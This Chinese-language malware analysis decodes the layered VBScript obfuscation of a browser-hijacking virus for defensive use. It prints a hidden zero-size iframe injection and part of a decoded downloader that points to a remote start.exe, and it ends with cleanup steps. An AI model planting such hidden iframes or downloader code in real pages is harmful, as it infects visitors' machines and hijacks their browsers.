深度剖析 7b.com.cn 瀏覽器劫持病毒：從混淆腳本到惡意下載器完整還原

大量網友首頁被鎖定為 www.7b.com.cn 無法修改。本文演示在虛擬機環境下，逐層解碼其混淆腳本，還原病毒下載器真實網址 https://m.dashow.com.cn/start.exe，為防毒廠商提供特徵碼參考。

分析環境與原則

• 必須在虛擬機（VMware/VirtualBox）快照模式下操作，防止實機感染。
• 工具：IE 瀏覽器、記事本、下載工具、防毒軟體（關閉即時掃描以免干擾分析）。

三步驟還原真實面目

第一層：首頁尾部嵌入 iframe 指向混淆腳本頁

檢視 www.7b.com.cn 原始碼，尾部發現：

<iframe src="https://m.dashow.com.cn/m.html" width=0 height=0></iframe>

實際為字串編碼：&# 後接 ASCII 十進位碼。將此段儲存為 .htm 用 IE 開啟，解碼顯示真實網址：https://m.dashow.com.cn/m.html。

第二層：m.html 內含雙層 Execute 混淆

1. 檢視 m.html 原始碼，找到 Execute 呼叫的字串變數。
2. 將 Execute 替換為 Document.Write，加上 <script> 標籤存為 .htm 開啟 → 輸出第二層混淆碼。
3. 第二層同樣含 Execute，再次替換為 Document.Write 開啟 → 出現大量 CHR(&Hxxxx) 十六進位字元拼接代碼。
4. 識別 CHR 為 ASCII 轉字元函數，將十六進位轉為字元並拼接，再次 Execute 執行。
5. 第三次替換 Execute → Document.Write 開啟，終於獲得清晰可讀代碼。

第三層：最終惡意下載器代碼

on error resume next
curl = "https://m.dashow.com.cn/start.exe"
...（後續下載執行邏輯省略）

核心惡意網址：**https://m.dashow.com.cn/start.exe** 即為鎖定首頁的病毒下載器。

後續處理建議

1. 用下載工具下載 start.exe 送毒體分析。
2. 若防毒軟體未查報，立即向廠商提交樣本，加速特徵碼更新，保護更多用戶。
3. 修復首頁：安全模式下註冊表 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page 改回預設值；檢查 Run 機碼移除殘留啟動項。

此類「多層腳本混淆 + 域名快速變換」是現代瀏覽器劫持病毒典型特徵，掌握 Execute → Document.Write 逐層還原法，可應對絕大多數同類威脅。